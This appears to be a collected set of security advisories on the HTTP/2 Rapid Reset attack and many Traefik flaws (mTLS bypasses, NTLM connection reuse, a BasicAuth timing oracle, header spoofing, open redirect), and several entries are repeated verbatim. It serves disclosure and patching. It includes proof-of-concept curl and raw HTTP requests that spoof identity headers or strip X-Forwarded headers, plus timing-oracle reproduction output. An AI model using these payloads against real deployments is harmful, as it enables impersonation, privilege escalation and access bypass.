HTTP/2 Rapid reset attack The HTTP/2 protocol allows clients to indicate to the server that a previous stream should be canceled by sending a RSTSTREAM frame. The protocol does not require the client and server to coordinate the cancellation in any way, the client may do it unilaterally. The client may also assume that the cancellation will take effect immediately when the server receives the RSTSTREAM frame, before any other data from that TCP connection is processed.
Abuse of this feature is called a Rapid Reset attack because it relies on the ability for an endpoint to send a RSTSTREAM frame immediately after sending a request frame, which makes the other endpoint start working and then rapidly resets the request. The request is canceled, but leaves the HTTP/2 connection open.
The HTTP/2 Rapid Reset attack built on this capability is simple: The client opens a large number of streams at once as in the standard HTTP/2 attack, but rather than waiting for a response to each request stream from the server or proxy, the client cancels each request immediately.
The ability to reset streams immediately allows each connection to have an indefinite number of requests in flight. By explicitly canceling the requests, the attacker never exceeds the limit on the number of concurrent open streams. The number of in-flight requests is no longer dependent on the round-trip time (RTT), but only on the available network bandwidth.
In a typical HTTP/2 server implementation, the server will still have to do significant amounts of work for canceled requests, such as allocating new stream data structures, parsing the query and doing header decompression, and mapping the URL to a resource. For reverse proxy implementations, the request may be proxied to the backend server before the RSTSTREAM frame is processed. The client on the other hand paid almost no costs for sending the requests. This creates an exploitable cost asymmetry between the server and the client.
Multiple software artifacts implementing HTTP/2 are affected. This advisory was originally ingested from the swift-nio-http2 repo advisory and their original conent follows.
swift-nio-http2 specific advisory swift-nio-http2 is vulnerable to a denial-of-service vulnerability in which a malicious client can create and then reset a large number of HTTP/2 streams in a short period of time. This causes swift-nio-http2 to commit to a large amount of expensive work which it then throws away, including creating entirely new Channels to serve the traffic. This can easily overwhelm an EventLoop and prevent it from making forward progress.
swift-nio-http2 1.28 contains a remediation for this issue that applies reset counter using a sliding window. This constrains the number of stream resets that may occur in a given window of time. Clients violating this limit will have their connections torn down. This allows clients to continue to cancel streams for legitimate reasons, while constraining malicious actors.
Traefik from 3.7.0-ea.1 before 3.7.15 contains an authentication bypass vulnerability in the Kubernetes Ingress NGINX provider that silently disables mTLS configured via the auth-tls-secret annotation. When another Ingress declares a path on the same host without matching auth-tls settings, Traefik falls back to default TLS options, letting unauthenticated attackers reach backends requiring client certificates.
Traefik from 3.7.0-ea.1 before 3.7.15 contains an authentication bypass vulnerability in the Kubernetes Ingress NGINX provider that silently disables mTLS configured via the auth-tls-secret annotation. When another Ingress declares a path on the same host without matching auth-tls settings, Traefik falls back to default TLS options, letting unauthenticated attackers reach backends requiring client certificates.
Traefik 2.x before 2.11.60 and 3.x before 3.7.16 sends ForwardAuth subrequests (and, in 3.7, Ingress NGINX auth-url requests) through an auth-server connection pool shared by all clients, exposing connection-bound NTLM or Negotiate authentication. An unauthenticated attacker can reuse another user's authenticated connection, receiving the victim's identity via authResponseHeaders to access backends as that user.
Traefik 2.x before 2.11.60 and 3.x before 3.7.16 sends ForwardAuth subrequests (and, in 3.7, Ingress NGINX auth-url requests) through an auth-server connection pool shared by all clients, exposing connection-bound NTLM or Negotiate authentication. An unauthenticated attacker can reuse another user's authenticated connection, receiving the victim's identity via authResponseHeaders to access backends as that user.
Traefik 2.11.0 before 2.11.58 and 3.0.0 before 3.7.14 contains an authentication bypass because a first request preauthenticated with an Authorization: Negotiate token authenticates a socket in the globally shared backend connection pool, which is never isolated. Unauthenticated attackers on separate frontend connections can be assigned that NTLM/Kerberos-bound socket and perform reads or writes with the victim's identity.
Traefik before v2.11.58 and v3.7.14 contains an authentication bypass vulnerability in its SNI check, which is skipped when request TLS state is nil. Unauthenticated clients can send HTTP/2 requests with the :scheme http pseudo-header over TLS on Go 1.27 builds to reach routers requiring client certificates without presenting one.
Traefik before v2.11.58 and v3.7.14 contains an authentication bypass vulnerability in its SNI check, which is skipped when request TLS state is nil. Unauthenticated clients can send HTTP/2 requests with the :scheme http pseudo-header over TLS on Go 1.27 builds to reach routers requiring client certificates without presenting one.
Traefik before 2.11.58 and 3.7.13 contains an authentication bypass vulnerability that allows unauthenticated clients to skip client-certificate checks because negated Host matchers are counted as served domains. Attackers can reach backends protected by RequireAndVerifyClientCert when a router rule with !Host() creates a TLS options conflict that falls back to the default options.
Traefik before 2.11.58 and 3.7.13 contains an authentication bypass vulnerability that allows unauthenticated clients to skip client-certificate checks because negated Host matchers are counted as served domains. Attackers can reach backends protected by RequireAndVerifyClientCert when a router rule with !Host() creates a TLS options conflict that falls back to the default options.
Traefik from 3.2.0 before 3.7.15 contains a data race in the experimental FastProxy that allows unauthenticated attackers to crash the process by abusing HTTP/1 protocol upgrades. Attackers can repeatedly open and abort upgraded connections such as WebSocket, corrupting the unsynchronized shared bufio.Reader and triggering an unrecovered panic that terminates Traefik.
Traefik from 3.2.0 before 3.7.15 contains a data race in the experimental FastProxy that allows unauthenticated attackers to crash the process by abusing HTTP/1 protocol upgrades. Attackers can repeatedly open and abort upgraded connections such as WebSocket, corrupting the unsynchronized shared bufio.Reader and triggering an unrecovered panic that terminates Traefik.
Traefik 3.7.11 before 3.7.15 contains an authorization bypass in the Kubernetes Ingress NGINX provider that skips the cross-namespace check on the auth-tls-secret annotation when a cached client authentication TLS option is reused. Users who can create Ingresses can reference another namespace's CA secret already used by another Ingress, enforcing it on their own routes and learning whether it exists, without disclosure of its contents.
Traefik 3.7.11 before 3.7.15 contains an authorization bypass in the Kubernetes Ingress NGINX provider that skips the cross-namespace check on the auth-tls-secret annotation when a cached client authentication TLS option is reused. Users who can create Ingresses can reference another namespace's CA secret already used by another Ingress, enforcing it on their own routes and learning whether it exists, without disclosure of its contents.
Summary
Traefik's BasicAuth middleware coalesces concurrent credential checks through a singleflight.Group to avoid hashing the same password many times at once. Since v3.6.11 the deduplication key was built from the submitted password plus the stored secret, so it depended on server state: a non-existent username collapsed onto one shared key while each configured username produced its own. Under attacker-controlled concurrency, a probe request arriving inside a leader request's in-flight window is served the leader's fast coalesced result when the username does not exist, but computes its own hash (slow) when the username exists — reintroducing, only in the concurrent case, the unauthenticated username-enumeration timing oracle that GHSA-g3hg-j4jv-cwfr had hardened for sequential probing. The fix derives the singleflight key from the submitted credentials (username and password) only, so it no longer depends on whether the account exists or on any stored secret. Traefik v2 is not affected: the v2.11 BasicAuth middleware does not use singleflight coalescing, and Digest authentication is not affected. The impact is limited to username enumeration; no credential disclosure or authentication bypass is possible.
The vulnerability originates on the v3.6 line, which has reached end of life; users on v3.6 or earlier v3.x must upgrade to v3.7.13 to receive the fix.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.7.13
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
Confirmed. checkPassword derives the singleflight key from the stored secret, so the key encodes whether the submitted username exists:
- username absent, secret == "", key = len(P) + ":" + P - username present, key = len(P) + ":" + P + secretT
Every non-existent username therefore lands on one shared key, while every configured username gets its own. singleflight.Group.Do makes a follower on an equal key block on the leader's in-flight computation and return the leader's result. So an attacker who sends a leader request with a junk username and password P, then sends the probe for target T with the same P late inside the leader's window, reads user existence directly off the probe's latency: coalesced (fast) means T does not exist, own hash (slow) means T does exist.
This is the exact information leak that the notFoundSecret dummy hash at line 127 exists to remove. Sequential probing is fully equalised (measured ratio 1.00x, so the fix for cwfr / 8j2h does work); the leak reappears only under attacker-controlled concurrency. Confirmed on the current v3.7 head, which already carries the 8mrf singleflight fix, and on master (no later fix exists).
Affected code
- pkg/middlewares/auth/basicauth.go:125 (checkPassword)
Code analysis
pkg/middlewares/auth/basicauth.go:119-131 matches the finding verbatim, including the cited line 125:
go func (b basicAuth) checkPassword(user, password string) bool { // :119 secret := b.auth.Secrets(user, b.auth.Realm) // "" when the user is absent
key := strconv.Itoa(len(password)) + ":" + password + secret // :124 match, , := b.singleflightGroup.Do(key, func() (any, error) { // :125 if secret == "" { = b.checkSecret(password, b.notFoundSecret) // :127 dummy hash, equal cost return false, nil } return b.checkSecret(password, secret), nil }) return match.(bool) }
Two independent properties combine:
1. The dummy hash equalises the cost of one lookup. notFoundSecret is a configured user's real hash (slices.Collect(maps.Values(users))[0]), so absent and present users each perform exactly one hash of the same algorithm and cost. That is why the sequential control below is flat. 2. The key partitions on existence, so coalescing is not equalised. The dummy hash was placed inside the closure (commit 122175ac2, PR #12803), which is what pulls absent users into Do at all. Before that refactor, secret == "" returned false before Do was ever called.
Git archaeology of the whole sequence in this one function:
| Commit | Date | Effect | |---|---|---| | 6f469ee1e | 2024-10-10 | Introduces singleflight to dedupe concurrent hashes (Only calculate basic auth hashes once for concurrent requests). Absent users returned false before Do. | | 122175ac2 (PR #12803) | 2026-03-17 | Fix for cwfr. Moves the empty-secret branch inside the closure, which makes the key existence-dependent for the first time. | | 8c4fc8957 | 2026-04-13 | Fix for 8j2h: notFoundSecret was resolving to "", so the dummy hash was a no-op. | | b5ace8eb5 (PR #13572) | 2026-07-28 | Fix for 8mrf: adds the len(password) + ":" prefix so distinct (password, secret) pairs cannot alias. Keeps the secret in the key and keeps the empty-secret branch inside the closure. |
J15 is the residue of that last fix. It does not depend on the key collision 8mrf closed: the oracle works precisely because the keys differ. The prior analysis of 8mrf recommended keeping "the empty-secret (unconfigured) path out of any key that a configured user can share"; the shipped patch only delimited the key, so the existence dependency survived.
Affected range: >= v3.6.11 (the 122175ac2 refactor) through current v3.7 head and master. Not the v2 line, and not earlier v3 releases, which returned early for absent users. Digest auth does not use singleflight and is unaffected.
Impact scope: username enumeration only. No credential disclosure, no authentication bypass, no result sharing across identities.
Reproduction
Go tests written directly in package auth, driving the real NewBasic handler over a real HTTP server (httptest), with real bcrypt / apr1 hashes and no instrumentation of the vulnerable logic. Files: pkg/middlewares/auth/zzscanpocJ15{,b,c}test.go, deleted after the run.
Commands
cd /Users/emile/go/src/github.com/traefik/traefik go test -count=1 -run TestZZScanPoCJ15 -v ./pkg/middlewares/auth/... go test -count=1 -run TestZZScanPoCJ15Costs -v ./pkg/middlewares/auth/... go test -count=1 -run TestZZScanPoCJ15H2 -v ./pkg/middlewares/auth/...
Probe shape, exactly the claimed scenario: calibrate D with one request, launch a leader with a junk username and password P, sleep 0.9 D, then send the probe with password P and either a configured (alice) or an absent (bob) username, and time the probe. classify=OK means present > 2 absent, i.e. the oracle answered correctly.
Observed, main PoC (test 1)
[bcrypt-cost12] SEQUENTIAL control: absent=249.568275ms present=249.10215ms ratio=1.00x [bcrypt-cost12] CONCURRENT D=245.521625ms frac=0.90 round 0: absent=21.750833ms present=242.081792ms ratio=11.1x classify=OK [bcrypt-cost12] CONCURRENT D=245.521625ms frac=0.90 round 1: absent=20.197667ms present=245.234958ms ratio=12.1x classify=OK [bcrypt-cost12] CONCURRENT D=245.521625ms frac=0.90 round 2: absent=25.675958ms present=243.981375ms ratio=9.5x classify=OK [bcrypt-cost10] SEQUENTIAL control: absent=61.4374ms present=61.049608ms ratio=0.99x [bcrypt-cost10] CONCURRENT D=60.54675ms frac=0.90 round 0: absent=5.572875ms present=60.8345ms ratio=10.9x classify=OK [bcrypt-cost10] CONCURRENT D=60.54675ms frac=0.90 round 1: absent=4.042292ms present=61.988792ms ratio=15.3x classify=OK [bcrypt-cost10] CONCURRENT D=60.54675ms frac=0.90 round 2: absent=4.53825ms present=61.557791ms ratio=13.6x classify=OK [apr1-short-pw] SEQUENTIAL control: absent=360.7µs present=373.116µs ratio=1.03x [apr1-short-pw] CONCURRENT D=370.792µs frac=0.90 round 0: absent=378.167µs present=409.458µs ratio=1.1x classify=FAIL [apr1-short-pw] CONCURRENT D=370.792µs frac=0.90 round 1: absent=352.416µs present=333.875µs ratio=0.9x classify=FAIL [apr1-short-pw] CONCURRENT D=370.792µs frac=0.90 round 2: absent=374.209µs present=349.125µs ratio=0.9x classify=FAIL [apr1-8000B-pw] SEQUENTIAL control: absent=22.159325ms present=21.999433ms ratio=0.99x [apr1-8000B-pw] CONCURRENT D=22.457583ms frac=0.90 round 0: absent=22.089458ms present=22.516708ms ratio=1.0x classify=FAIL [apr1-8000B-pw] CONCURRENT D=22.457583ms frac=0.90 round 1: absent=698.042µs present=21.877ms ratio=31.3x classify=OK [apr1-8000B-pw] CONCURRENT D=22.457583ms frac=0.90 round 2: absent=1.570875ms present=21.945417ms ratio=14.0x classify=OK
The sequential control is the decisive part: 1.00x / 0.99x / 1.03x / 0.99x on every algorithm. The constant-time countermeasure is intact for one-request-at-a-time probing, so the 10x to 15x concurrent separation is attributable to the coalescing and to nothing else. That rules out the alternative explanation that this is just cwfr / 8j2h still unfixed.
Observed, per-algorithm hash cost (test 2)
bcrypt cost10 / short pw -> 60.5919ms per hash bcrypt cost12 / short pw -> 242.384558ms per hash apr1 / short pw -> 128.333µs per hash apr1 / 8000-byte pw -> 42.575816ms per hash
Observed, single HTTP/2 connection (test 3)
Both probes multiplexed as two streams over one TLS connection, which pins them to a single Traefik process even behind an L4 load balancer fronting several replicas:
h2 single-connection: D=63.048ms h2 round 0: absent=7.931459ms present=65.87375ms ratio=8.3x classify=OK h2 round 1: absent=4.255667ms present=64.193291ms ratio=15.1x classify=OK h2 round 2: absent=6.696417ms present=64.695208ms ratio=9.7x classify=OK
Conclusion: REPRODUCED, 9/9 correct classifications on bcrypt, single-shot, no statistics.
Claim-by-claim audit of the finding text:
(truncated ; full analysis in the linked internal report)
Documentation grounding
Not working-as-intended. The governing project document puts this class explicitly in scope.
- docs/content/security/ (header-underscores, request-path, content-length, http2-header-memory, multi-tenant-kubernetes) has no page covering BasicAuth, the timing posture or the singleflight dedup. Grep for timing|basicauth|basic auth|enumerat|singleflight across that directory: no match. No governing security doc, hence no WAI signal from there. - docs/content/contributing/security-decisions.md, section Authentication Middleware Correctness, is the settled public position and it is directly on point:
> Our position. In scope: credential or identity handling that leaks across requests or users, observable timing differences that disclose whether a principal exists, and credentials forwarded to a destination the operator did not authorise. > > Where the line is. Choosing a weak authentication mechanism, or configuring it permissively, is the operator's decision. The middleware failing to deliver what its documentation promises is ours.
(truncated ; full analysis in the linked internal report)
Precedent in comparable projects
Corpus refreshed 2026-08-24 for nginx, ingress-nginx, kong, caddy, apisix, nginx-plus; envoy (2026-06-29), envoy-gateway (2026-06-15), haproxy (2026-07-16) and istio (2026-05-12) are staler.
No exact analogue of a request-deduplication timing oracle. Adjacent prior art:
- Envoy, CVE-2026-47775, medium: "OAuth2 Filter: Padding Oracle via AES-256-CBC Cookie Decryption". A side-channel oracle inside an auth filter, published as a medium CVE. Framed on the observability of the discrepancy, not on the difficulty of measuring it. - Envoy Gateway, CVE-2026-53715 / GHSA-8fv2-88gg-hm7q, medium: "Wasm cache ServeHTTP reads mappingPath2Cache without lock". A concurrency defect in a shared per-process cache in the request path, treated as a real medium CVE and fixed by correcting the shared-state handling. - APISIX, CVE-2025-62232, high: basic-auth credential exposure. Same component, unrelated mechanism (logging).
Takeaway: the industry treats side-channel oracles in auth filters, and concurrency defects in shared per-process request-path caches, as genuine publishable CVEs of roughly this severity. Nothing in the corpus argues the class is by design. The strongest precedent, however, is not a competitor: it is Traefik's own two published CVEs on this exact guarantee.
Recommended fix
Assign for fix. No fix exists: gh search prs --repo traefik/traefik "singleflight" returns only PR #13572 (the merged 8mrf key-collision fix) and "basic auth timing" only PR #12803 / #12796; git log --all on the checkout shows b5ace8eb5 as the last change to pkg/middlewares/auth/ and master (174e5d811, a merge of v3.7) carries nothing later.
Fix shape: remove the secret from the key and qualify it by username. Something along the lines of
go key := strconv.Itoa(len(user)) + ":" + user + ":" + password
with the dummy-hash branch left inside the closure. This is strictly better than the current key on all four counts:
- It closes J15: the key no longer encodes existence, so two absent users no longer share a bucket that a present user is excluded from. Coalescing then happens only for an identical (user, password) pair, which leaks nothing an attacker did not already supply. - It closes 8mrf structurally rather than by delimiting: the stored hash never enters the key, so no choice of password can alias a configured user's key. The len prefix is still needed, now on user, to keep ("ab", "c") and ("a", "bc") apart. - It preserves the purpose of 6f469ee1e: the case that commit exists for is a burst of concurrent requests carrying the same credentials, which is exactly what a username-qualified key still dedupes. - It keeps the constant-time property: one hash of notFoundSecret for absent users, one hash of secret for present ones, unchanged.
Do not fix this by making the dummy branch share the leader's timing envelope; as the finding correctly notes, that only helps if the key stops depending on secret == "".
Secondary, low cost: restore the "Timing attacks" admonition that PR #12803 added to the BasicAuth page. It is the statement of the guarantee, it is the thing security-decisions.md holds the project to, and it is currently absent from the v3.7 docs tree.
If filed: new cluster slug basicauth-singleflight-existence-oracle, sibling of basicauth-singleflight-key-collision, affected range >= v3.6.11 through the current v3.6 / v3.7 heads, v2 unaffected, digest auth unaffected. Correct the 40x claim and the $apr1$ "trivial" claim in the published description per the audit table above.
Provenance
Found by an external automated code scan (CLAUDE-SECURITY-20260824-122205) of pkg/middlewares, pkg/proxy, pkg/server, pkg/muxer and pkg/tls on branch v3.7 at commit d5072ce7b8765c9574246072e05dd81d84950da7, then triaged with the advisory-check process : mechanism-level duplicate check against the existing advisory corpus, CVE-policy gate, security-documentation grounding, comparable-project precedent, and a mandatory reproduction attempt.
Triage outcome : Likely Valid, confidence High, reproduced (yes). Expected publication likelihood at triage time : High.
Scanner finding id : F16. Internal report : findings/scan-20260824/verdicts/J15.md in the security-advisor repository.
</details>
---
Summary
There is a potential vulnerability in Traefik's Basic and Digest authentication middlewares when headerField is configured with a non-canonical HTTP header name.
An authenticated attacker with valid credentials can inject the canonical version of the configured header to impersonate any identity to the backend. Because Traefik writes the authenticated username using a non-canonical map key, it creates a separate header entry rather than overwriting the attacker's canonical one — causing most backend frameworks to read the attacker-controlled value instead.
Patches
- <https://github.com/traefik/traefik/releases/tag/v2.11.42> - <https://github.com/traefik/traefik/releases/tag/v3.6.12> - <https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.3>
For more information
If there are any questions or comments about this advisory, please open an issue.
---
<details> <summary>Original Description</summary>
Summary
When headerField is configured with a non-canonical HTTP header name (e.g., x-auth-user instead of X-Auth-User), an authenticated attacker can inject a canonical version of that header to impersonate any identity to the backend. The backend receives two header entries — the attacker-injected canonical one is read first, overriding Traefik's non-canonical write.
Tested on Traefik v3.6.10.
Details
At pkg/middlewares/auth/basicauth.go:92, the authenticated username is written using direct map assignment:
go req.Header[b.headerField] = []string{user}
Go's http.Header map is keyed by canonical names (e.g., X-Auth-User). Direct assignment with a non-canonical key (x-auth-user) creates a separate map entry from any canonical-key entry already present. The attacker's X-Auth-User: superadmin occupies the canonical slot and is never overwritten by Traefik's non-canonical write.
The same bug exists in pkg/middlewares/auth/digestauth.go:100. Notably, forward.go:254 correctly uses http.CanonicalHeaderKey(), showing the fix pattern already exists in the codebase.
PoC
Traefik config (YAML, Docker labels, or REST API):
yaml middlewares: auth: basicAuth: users: ["admin:$2y$05$..."] headerField: "x-auth-user"
Normal request (baseline):
bash curl -u admin:admin http://traefik/secure/test Backend receives: x-auth-user: admin Identity = admin ✓
Attack request:
bash curl -u admin:admin -H "X-Auth-User: superadmin" http://traefik/secure/test Backend receives BOTH headers: X-Auth-User: superadmin ← attacker-injected (canonical key, read first by most frameworks) x-auth-user: admin ← Traefik-set (non-canonical, ignored by most frameworks) Identity seen by backend = superadmin ✗
Control test — when headerField uses canonical casing (X-Auth-User), the attack fails. Traefik's write correctly overwrites the attacker's header.
This is realistic because YAML conventions favor lowercase keys, Traefik docs don't warn about canonicalization, and the pattern of backends trusting the headerField header is recommended in Traefik's own documentation.
Fix suggestion:
go // basicauth.go:92 and digestauth.go:100 — change: req.Header[b.headerField] = []string{user} // to: req.Header.Set(b.headerField, user)
Also strip any incoming headerField header before the auth check with req.Header.Del(b.headerField).
Impact
An authenticated attacker with valid credentials (even low-privilege) can impersonate any other user identity to backend services. If backends use the headerField header for authorization decisions (which is the intended use case per Traefik docs), this enables privilege escalation — e.g., a regular user impersonating an admin.
The attack requires the operator to configure headerField with a non-canonical header name, which is the natural thing to do in YAML and is not warned against in documentation.
</details>
Traefik is an open source HTTP reverse proxy and load balancer. In affected versions there is a potential vulnerability in Traefik managing TLS connections. A router configured with a not well-formatted TLSOption is exposed with an empty TLSOption. For instance, a route secured using an mTLS connection set with a wrong CA file is exposed without verifying the client certificates. Users are advised to upgrade to version 2.9.6. Users unable to upgrade should check their logs to detect the error messages and fix your TLS options.
Traefik is an open source HTTP reverse proxy and load balancer. Versions prior to 2.9.6 are subject to a potential vulnerability in Traefik displaying the Authorization header in its debug logs. In certain cases, if the log level is set to DEBUG, credentials provided using the Authorization header are displayed in the debug logs. Attackers must have access to a users logging system in order for credentials to be stolen. This issue has been addressed in version 2.9.6. Users are advised to upgrade. Users unable to upgrade may set the log level to INFO, WARN, or ERROR.
Traefik (pronounced traffic) is a modern HTTP reverse proxy and load balancer for deploying microservices. There is a vulnerability in Go when parsing the HTTP headers, which impacts Traefik. HTTP header parsing could allocate substantially more memory than required to hold the parsed headers. This behavior could be exploited to cause a denial of service. This issue has been patched in versions 2.9.10 and 2.10.0-rc2.
Impact
There is a vulnerability in Traefik that allows the client to remove the X-Forwarded headers (except the header X-Forwarded-For).
Patches
- <a href="https://github.com/traefik/traefik/releases/tag/v2.11.9">https://github.com/traefik/traefik/releases/tag/v2.11.9</a> - <a href="https://github.com/traefik/traefik/releases/tag/v3.1.3">https://github.com/traefik/traefik/releases/tag/v3.1.3</a>
Workarounds
No workaround.
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary> Summary
When a HTTP request is processed by Traefik, certain HTTP headers such as X-Forwarded-Host or X-Forwarded-Port are added by Traefik before the request is routed to the application. For a HTTP client, it should not be possible to remove or modify these headers. Since the application trusts the value of these headers, security implications might arise, if they can be modified.
For HTTP/1.1, however, it was found that some of theses custom headers can indeed be removed and in certain cases manipulated. The attack relies on the HTTP/1.1 behavior, that headers can be defined as hop-by-hop via the HTTP Connection header. By setting the following connection header, the X-Forwarded-Host header can, for example, be removed:
Connection: close, X-Forwarded-Host
Depending on how the receiving application handles such cases, security implications may arise. Moreover, some application frameworks (e.g. Django) first transform the "-" to "" signs, making it possible for the HTTP client to even modify these headers in these cases.
This is similar to <a href="https://access.redhat.com/security/cve/CVE-2022-31813">CVE-2022-31813</a> for Apache HTTP Server.
Details
It was found that the following headers can be removed in this way (i.e. by specifing them within a connection header):
- X-Forwarded-Host - X-Forwarded-Port - X-Forwarded-Proto - X-Forwarded-Server - X-Real-Ip - X-Forwarded-Tls-Client-Cert - X-Forwarded-Tls-Client-Cert-Info
PoC
The following docker-compose file has been used for a simple setup:
services: traefik: image: traefik:v3.1 containername: traefik ports: - "443:443" volumes: - /var/run/docker.sock:/var/run/docker.sock:ro - ./traefik.yaml:/etc/traefik/traefik.yaml - ./traefik-certs:/certs
python-http: build: context: . dockerfile: Dockerfile containername: python-http labels: - "traefik.enable=true" - "traefik.http.routers.python-http.rule=Host(python.example.com)" - "traefik.http.routers.python-http.entrypoints=websecure" - "traefik.http.routers.python-http.tls=true" - "traefik.http.services.python-http.loadbalancer.server.port=8080"
The following traefik.yaml has been used:
providers: docker: exposedByDefault: false watch: true file: fileName: /etc/traefik/traefik.yaml watch: true
entryPoints: websecure: address: ":443"
tls: certificates: - certFile: /certs/server-cert.pem keyFile: /certs/server-key.pem
The Python container just includes a simple Python HTTP server that prints the HTTP headers it receives. Here is the Dockerfile for the container:
FROM python:3-alpine
Copy the Python script to the container COPY server.py /server.py
Set the working directory WORKDIR /
Command to run the Python server CMD ["python", "/server.py"]
And here is the Python script:
from http.server import BaseHTTPRequestHandler, HTTPServer
class RequestHandler(BaseHTTPRequestHandler): def sendresponse(self): self.sendresponse(200) self.sendheader("Content-type", "text/plain") self.endheaders() self.wfile.write(str(self.headers).encode("utf-8"))
def doGET(self): self.sendresponse()
if name == "main": server = HTTPServer(('0.0.0.0', 8080), RequestHandler) print("Server started on port 8080") server.serveforever()
The environment is run with sudo docker-compose up.
A normal HTTP request/response pair looks like this:
Request 1
GET / HTTP/1.1 Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i Connection: close
Response 1
HTTP/1.1 200 OK Content-Type: text/plain Date: Tue, 03 Sep 2024 06:53:49 GMT Server: BaseHTTP/0.6 Python/3.12.5 Connection: close Content-Length: 556
Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i X-Forwarded-For: 172.20.0.1 X-Forwarded-Host: python.example.com X-Forwarded-Port: 443 X-Forwarded-Proto: https X-Forwarded-Server: 3138fe4f0a2e X-Real-Ip: 172.20.0.1
The custom headers added by Traefik can be seen in the response.
Next, a request, where the X-Forwarded-Host header is defined as a hop-by-hop header via the Connection header is sent:
Request 2
GET / HTTP/1.1 Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i Connection: close, X-Forwarded-Host
Response 2
Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i X-Forwarded-For: 172.20.0.1 X-Forwarded-Port: 443 X-Forwarded-Proto: https X-Forwarded-Server: 3138fe4f0a2e X-Real-Ip: 172.20.0.1
As can be seen from the response, the X-Forwarded-Host header that had been added by Traefik has been removed from the request.
Moreover, the next request/response pair demonstrates that a custom header with underscore instead of hyphen can be added:
Request 3
GET / HTTP/1.1 Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i XForwardedHost: myhost Connection: close, X-Forwarded-Host
Response 3
HTTP/1.1 200 OK Content-Type: text/plain Date: Tue, 03 Sep 2024 06:54:48 GMT Server: BaseHTTP/0.6 Python/3.12.5 Connection: close Content-Length: 544
Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i X-Forwarded-For: 172.20.0.1 X-Forwarded-Port: 443 X-Forwarded-Proto: https X-Forwarded-Server: 3138fe4f0a2e X-Real-Ip: 172.20.0.1 Xforwardedhost: myhost
Some backend frameworks (e.g. Django) handle X-Forwarded-Host and Xforwardedhost in the same way. As there is no X-Forwarded-Host header present in the request, the Xforwardedhost header will be used.
It should be noted that when X-Forwarded-Host is present and a Xforwardedhost header is sent, usually the first occurence of the header will be used, which is in this case X-Forwarded-Host.
It should be noted that the headers X-Forwarded-Tls-Client-Cert and X-Forwarded-Tls-Client-Cert-Info are also affected. Here, client certificate authentication would need to be enabled in the Traefik setup.
Impact
All applications that trust the custom headers set by Traefik are affected by this vulnerability. As an example, assume that a backend application trusts Traefik to validate client certificates and trusts therefore the values that are sent within the X-Forwarded-Tls-Client-Cert header, but does not validate the certificate anew.
If the header is removed via the vulnerability, and the application framework allows for alternative names (e.g. by transforming the headers to lower case, and "-" to ""), an attacker can place his own XForwardedTLSClientCert header in the request. This could lead to privilege escalation, as the attacker may put an (invalid) certificate in this header that would just be accepted by the application, but may contain other data than the certificate that is presented to Traefik for Client Certificate Authentication.
Moreover, if the backend application uses any of the other custom headers for security-sensitive operations, the removal or modification of these headers may also security implications (e.g. access control bypass).
The severity is the same as for <a href="https://access.redhat.com/security/cve/CVE-2022-31813">CVE-2022-31813</a> for Apache HTTP Server, i.e. 9.8 Critical. </details>
In Traefik before versions 1.7.26, 2.2.8, and 2.3.0-rc3, there exists a potential open redirect vulnerability in Traefik's handling of the "X-Forwarded-Prefix" header. The Traefik API dashboard component doesn't validate that the value of the header "X-Forwarded-Prefix" is a site relative path and will redirect to any header provided URI. Successful exploitation of an open redirect can be used to entice victims to disclose sensitive information. Active Exploitation of this issue is unlikely as it would require active header injection, however the Traefik team addressed this issue nonetheless to prevent abuse in e.g. cache poisoning scenarios.
Traefik from v3.2.0 before v3.7.14 contains an authentication bypass vulnerability in the experimental FastProxy connection pool, which fails to pin NTLM/Negotiate-authenticated backend connections to their frontend connection. Unauthenticated clients can be handed a pooled keep-alive backend connection where a victim completed an NTLM or Negotiate handshake, letting them read victim data and act as that victim.
